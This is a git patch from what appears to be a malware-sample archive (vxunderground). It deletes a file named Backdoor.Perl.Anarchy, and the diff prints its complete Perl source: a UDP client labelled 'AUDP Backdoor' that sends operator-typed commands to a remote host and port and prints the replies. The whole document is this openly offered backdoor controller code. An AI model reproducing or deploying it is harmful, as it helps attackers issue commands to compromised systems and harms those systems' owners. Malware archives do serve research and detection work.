From 249a3331630e70c056d03fb5fba5e143d5cd393f Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 00:58:16 -0600
Subject: [PATCH] Delete Backdoor.Perl.Anarchy

na
---
 Perl/Backdoor.Perl.Anarchy | 48 --------------------------------------
 1 file changed, 48 deletions(-)
 delete mode 100644 Perl/Backdoor.Perl.Anarchy

diff --git a/Perl/Backdoor.Perl.Anarchy b/Perl/Backdoor.Perl.Anarchy
deleted file mode 100644
index 5058d3a4..00000000
--- a/Perl/Backdoor.Perl.Anarchy
+++ /dev/null
@@ -1,48 +0,0 @@
-
-use IO::Socket;
-use Getopt::Std;
-
-getopts('s:p:h', \%opt)||die("Error: Unable to get command line options !!!\n");
-
-if(defined($opt{'h'})) { \&usage() }
-if(defined($opt{'s'})) { $server=$opt{'s'} } else { \&usage() }
-if(defined($opt{'p'})) { $port=$opt{'p'} } else { \&usage() }
-
-
-$|=1;
-$maxlen=1024;
-
-$sock=IO::Socket::INET->new(Proto=>'udp')
-or die("Error: Cannot initialize socket !!!\n");
-$ipaddr=inet_aton($server);
-$portaddr=sockaddr_in($port, $ipaddr);
-
-
-print("\nAUDP Backdoor started.\n");
-print("======================\n");
-
-while(1) {
- print("=> ");
- $mesg=<STDIN>;
- chomp $mesg;
- if($mesg=~/^\s*(exit)|(quit)\s*/i) { exit(0) }
- if($mesg!~/^\s*$/) {
-  send($sock, $mesg."\n", 0, $portaddr)==length($mesg."\n");
-  
-  while($portaddr=recv($sock, $msg, $maxlen, 0)) {
-   if($msg=~/^\-end\.$/) { last } else {
-    print $msg;
-   }
-  }
- }
-} 
-
-
-
-sub usage() {
-   print("\nAUDP - Programmed by Anarchy\n");
-   print("============================\n");
-   print("Usage: AUDP -s <host> -p <port>\n\n");
-   exit 1;
-}
-